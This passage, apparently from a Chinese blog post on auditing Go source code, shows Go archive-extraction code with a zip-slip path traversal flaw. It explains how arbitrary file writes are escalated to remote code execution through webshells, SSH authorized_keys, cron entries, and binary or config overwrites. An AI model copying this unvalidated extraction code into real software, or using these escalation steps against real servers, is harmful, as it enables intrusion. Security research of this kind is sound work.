err := tarReader.Next() if errors.Is(err, io.EOF) { break } if err != nil { return fmt.Errorf("ExtractTarGz: Next() failed: %s", err.Error()) } switch header.Typeflag { case tar.TypeDir: if err := os.Mkdir(filepath.Join(dest, header.Name), 0755); err != nil { return fmt.Errorf("ExtractTarGz: Mkdir() failed: %s", err.Error()) } case tar.TypeReg: outFile, err := os.Create(filepath.Join(dest, header.Name)) if err != nil { return fmt.Errorf("ExtractTarGz: Create() failed: %s", err.Error()) } if _, err := io.Copy(outFile, tarReader); err != nil { return fmt.Errorf("ExtractTarGz: Copy() failed: %s", err.Error()) } _ = outFile.Close() default: return fmt.Errorf( "ExtractTarGz: uknown type: %s in %s", string(header.Typeflag), header.Name) } } return nil } // Unzip extracts the given source to the destination folder func (e *extractor) Unzip(src, dest string) error { r, err := archivezip.OpenReader(src) if err != nil { return err } defer func() { if err := r.Close(); err != nil { panic(err) } }() _ = os.MkdirAll(dest, 0755) // Closure to address file descriptors issue with all the deferred .Close() methods extractAndWriteFile := func(f *archivezip.File) error { rc, err := f.Open() if err != nil { return err } defer func(rc io.ReadCloser) { _ = rc.Close() }(rc) path := filepath.Join(dest, f.Name) if f.FileInfo().IsDir() { _ = os.MkdirAll(path, f.Mode()) } else { _ = os.MkdirAll(filepath.Dir(path), f.Mode()) f, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode()) if err != nil { return err } defer func(f *os.File) { _ = f.Close() }(f) _, err = io.Copy(f, rc) if err != nil { return err } } return nil } for _, f := range r.File { err := extractAndWriteFile(f) if err != nil { return err } } return nil } path := filepath.Join(dest, f.Name)可以看到这里也是直接通过拼接来解压文件的,所以我们只要构造一个恶意的压缩包就能实现任意路径下的文件写入任意写的利用一个任意写文件的漏洞,在Linux可以做些什么?写入Webshellwebshell主要配合动态脚本⽐如php、jsp之类的使⽤,像是Go这种编译型的语言就不行了它们的优点是需要的权限低。缺点是需要知道web路径。还需要配合web容器解析。写入ssh公钥需要权限配合,主要需要运⾏web容器的⽤户有ssh登陆权限,需要开放ssh外联。将本机的公钥存储到服务器的~/.ssh/authorized_keys⽬录下。存储后直接ssh免密登陆。计划任务需要权限配合,⼀般是root才能写⼊到计划任务的⽬录。/var/spool/cron/ /etc/crontab/将想执⾏的bash命令按指定格式存⼊即可。Go源码审计:从上传到RCE任意文件上传漏洞漏洞上传点为:/*/upload多个上传处均采⽤这⼀接⼝,对后缀没有做限制,但是在Go环境下后缀不起作用,所以得配合路径穿越来组合达到RCE的效果路径穿越与一些脚本语言/解释性语言不同,Go这类编译型语言的Web应用,对于文件的处理常常是如下的方式:var byte[] content var string filename var string dst dst = upload_dir + filename os.open(dst).write(content)这⼀点与php等语⾔不相同,php等语⾔会有tmp_name作为临时⽂件名,之后的写⼊常常需要类似move_uploaded_file的函数来⽀持,在这种情况下,⼀般程序员会对⽂件名进⾏⼀个basename的操作。⽽go等编译型语⾔,filename、content都是通过程序员⾃⼰写的代码来获取,并且⽂件也如也常常⽤io、File等基础库函数,故经常出现漏检测的问题。所以在遇到go、py的等语⾔写的web应⽤的时候,这是⼀个值得关注的点,常常有路径穿越的漏洞出现。路径穿越+文件上传的坑点路径穿越+文件上传基本等于任意写了,所以任意写能实现的ssh公钥写入、webshell写入、定时任务写入它理论上都能实现但是,要实现任意写的效果,要注意一个权限问题,启动web应⽤的⽤户权限!路径穿越+文件上传还能做什么程序覆盖linux与windows不同的⼀点是,当程序被执⾏后,程序⽂件已经完全载⼊到内存中,硬盘上⽂件是可以删除的。(常常被僵⽊蠕利⽤)⾸先可以考虑,覆盖掉web应⽤的可执⾏程序,采取DDOS等⽅式迫使服务器或者应⽤重启,执⾏我们的恶意程序。另⼀个tip是,在linux下后台驻留的程序常常⽤supervisord来守护的,如果程序挂掉,会⾃动重启。详情可以参考supervisord的配置。成功覆盖掉⽂件后,等待重启即可但是采用这种方式会导致原来的程序失效,可能会造成不可逆的损失配置文件覆盖如果我们不想等待,还有什么好的⽅式嘛?可以尝试配置⽂件覆盖,在编译后的套件服务中,常常有⼀个功能是check服务器的状态,check服务本身的状态。这个时候,它可能动态地去获取配置⽂件,并执⾏配置⽂件的内容。动态执行这⾥的动态执⾏指的是,我们可以通过应⽤中存在的某个功能,该功能会触发执⾏,跟配置文件覆盖有点像,只是我们覆盖的是直接被执⾏的⽂件。但是这个覆盖需要权限,如果没有对应的目录的权限的话也是覆盖不了的
2025年09月11日
1 阅读
0 评论
0 点赞
1
2